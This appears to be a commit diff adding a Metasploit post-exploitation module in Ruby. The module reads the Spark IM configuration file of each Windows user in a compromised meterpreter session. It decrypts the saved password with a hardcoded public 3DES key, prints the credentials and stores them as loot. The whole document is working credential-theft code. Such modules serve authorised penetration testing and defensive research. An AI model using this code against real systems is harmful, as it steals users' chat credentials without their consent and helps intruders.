1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+ require 'rex'
10
+ require 'msf/core/post/common'
11
+ require 'msf/core/post/windows/user_profiles'
12
+ require 'openssl'
13
+
14
+ class Metasploit3 < Msf ::Post
15
+
16
+ include Msf ::Post ::Common
17
+ include Msf ::Post ::Windows ::UserProfiles
18
+
19
+ def initialize ( info = { } )
20
+ super ( update_info ( info ,
21
+ 'Name' => 'Enumerate Spark IM Passwords' ,
22
+ 'Description' => %q{ This module will enumerate passwords stored by the Spark IM client.
23
+ The encryption key is publicly known. This module will not only extract encrypted password
24
+ but will also decrypt password using public key.
25
+ } ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Author' =>
28
+ [
29
+ 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>' ,
30
+ 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
31
+ ] ,
32
+ 'SessionTypes' => [ 'meterpreter' ] ,
33
+ 'References' =>
34
+ [
35
+ [ 'URL' , 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/' ]
36
+ ]
37
+ ) )
38
+ end
39
+
40
+ # decrypt spark password
41
+ def decrypt ( hash )
42
+ # code to decrypt hash with KEY
43
+ print_status ( "Starting to decrypt password hash" )
44
+
45
+ encrypted = hash . unpack ( "m" ) [ 0 ]
46
+ key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae" . unpack ( "m" ) [ 0 ]
47
+
48
+ cipher = OpenSSL ::Cipher ::Cipher . new 'des-ede3'
49
+ cipher . decrypt
50
+ cipher . key = key
51
+
52
+ password = cipher . update encrypted
53
+ password << cipher . final
54
+
55
+ password = password . encode ( 'UTF-8' )
56
+
57
+ credentials = password . split ( "\u0001 " )
58
+ print_good ( "Decrypted Username #{ credentials [ 0 ] } Password: #{ credentials [ 1 ] } " )
59
+
60
+ store_creds ( credentials )
61
+ end
62
+
63
+ def store_creds ( credentials )
64
+ if db
65
+ report_auth_info (
66
+ :host => client . sock . peerhost ,
67
+ :port => 445 ,
68
+ :ptype => 'password' ,
69
+ :sname => 'smb' ,
70
+ :user => credentials [ 0 ] ,
71
+ :pass => credentials [ 1 ] ,
72
+ :duplicate_ok => true ,
73
+ :active => true
74
+ )
75
+ print_status ( "Loot stored in the db" )
76
+ end
77
+ end
78
+
79
+ # main control method
80
+ def run
81
+ grab_user_profiles ( ) . each do |user |
82
+ unless user [ 'AppData' ] . nil?
83
+ accounts = user [ 'AppData' ] + "\\ Spark\\ spark.properties"
84
+
85
+ # open the file for reading
86
+ config = client . fs . file . new ( accounts , 'r' ) rescue nil
87
+ next if config . nil?
88
+ print_status ( "Config found for user #{ user [ 'UserName' ] } " )
89
+
90
+ # read the contents of file
91
+ contents = config . read
92
+
93
+ # look for lines containing string 'password'
94
+ password = contents . split ( "\n " ) . grep ( /password/ )
95
+ if password . nil?
96
+ # file doesn't contain a password
97
+ print_status ( "#{ file } does not contain any saved passwords" )
98
+ # close file and return
99
+ config . close
100
+ return
101
+ end
102
+
103
+ # store the hash close the file
104
+ hash = password [ 1 ] . split ( "password" ) . join . chomp
105
+ print_status ( "Spark password hash: #{ hash } " ) if datastore [ 'VERBOSE' ]
106
+ config . close
107
+
108
+ # call to decrypt the hash
109
+ decrypt ( hash )
110
+ end
111
+ end
112
+ end
113
+ end
0 commit comments